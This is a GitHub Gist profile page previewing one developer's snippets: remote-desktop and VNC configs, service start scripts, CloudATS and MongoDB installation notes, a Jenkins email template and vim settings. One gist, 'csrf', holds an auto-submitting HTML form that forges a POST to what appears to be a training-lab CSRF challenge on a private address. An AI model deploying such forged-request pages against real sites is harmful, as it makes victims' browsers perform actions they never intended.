Skip to content

Instantly share code, notes, and snippets.

View haint's full-sized avatar

Ethan Nguyen haint

  • FPT Software
  • Hanoi Vietnam
View GitHub Profile
@haint
haint / guacamole.properties
Created February 17, 2016 06:40
guacamole.properties
# Guacamole - Clientless Remote Desktop
# Copyright (C) 2010 Michael Jumper
#
# This program is free software: you can redistribute it and/or modify
# it under the terms of the GNU Affero General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
@haint
haint / guacamole
Created February 17, 2016 06:56
guacamole
#!/bin/bash
case $1 in
start)
/bin/bash /etc/guacamole/start.sh
;;
stop)
/bin/bash /etc/guacamole/stop.sh
;;
restart)
@haint
haint / x11vnc.conf
Created February 17, 2016 10:48
x11vnc.conf
start on login-session-start
script
x11vnc -xkb -noxrecord -noxfixes -noxdamage -repeat -display :0 -auth /home/cloudats/.XAUTHORITY/database -forever -shared -bg -o /var/log/x11vnc.log -rfbauth /home/cloudats/.vnc/passwd -rfbport 5900 -24to32
end script
@haint
haint / jmeter-2.13
Created February 18, 2016 03:56
jmeter-2.13
#!/bin/sh
dir="/usr/share/jmeter-2.13/bin"
user=""
cmd="sh jmeter-server"
name=`basename $0`
pid_file="/var/run/$name.pid"
stdout_log="/var/log/$name.log"
stderr_log="/var/log/$name.err"
@haint
haint / cloudats_installation.txt
Last active February 24, 2016 04:20
CloudATS Installation Step by Step
@Note: Becarefully with default user in cloud. We shoud create our self-user
sudo adduser cloudats
sudo usermod -a -G sudo cloudats
== CloudATS Portal - Ubuntu Server 14.04 LTS ==
* Install MongoDB 3.0.5
sudo apt-key adv --keyserver hkp://keyserver.ubuntu.com:80 --recv 7F0CEB10
echo "deb http://repo.mongodb.org/apt/ubuntu trusty/mongodb-org/3.0 multiverse" | sudo tee /etc/apt/sources.list.d/mongodb-org-3.0.list
@haint
haint / rest
Last active March 17, 2016 09:37
rest start script
#!/bin/sh
dir="/usr/share/rest/bin"
user=""
cmd="bash rest"
name=`basename $0`
stdout_log="/var/log/$name.log"
stderr_log="/var/log/$name.err"
@haint
haint / cloud-ats-portal
Created March 9, 2016 10:54
portal start script
#!/bin/sh
dir="/usr/share/cloud-ats-v1-portal"
user=""
cmd="npm start"
name=`basename $0`
stdout_log="/var/log/$name.log"
stderr_log="/var/log/$name.err"
publicip=`wget http://ipinfo.io/ip -qO -`
@haint
haint / csrf
Created July 4, 2016 11:10
csrf
<html>
<body>
<form id="completeChallenge2" action="https://10.20.20.50/user/csrfchallengethree/plusplus" method="POST" >
<input type="hidden" name="userid" value="exampleId" />
<input type="submit"/>
</form>
<script>
document.forms["completeChallenge2"].submit();
</script>
</body>
@haint
haint / build-report.groovy
Created September 21, 2016 09:02 — forked from x-cray/build-report.groovy
Jenkins email-ext plugin groovy template. Generates build report. Based on http://techkriti.wordpress.com/2008/08/30/using-groovy-with-hudson-to-send-rich-text-email/
<!DOCTYPE html>
<head>
<title>Build report</title>
<style type="text/css">
body
{
margin: 0px;
padding: 15px;
}
" Use spaces instead of tabs
set expandtab
" Be smart when using tabkey
set smarttab
" 1 tab == 4 spaces
set shiftwidth=2
set tabstop=2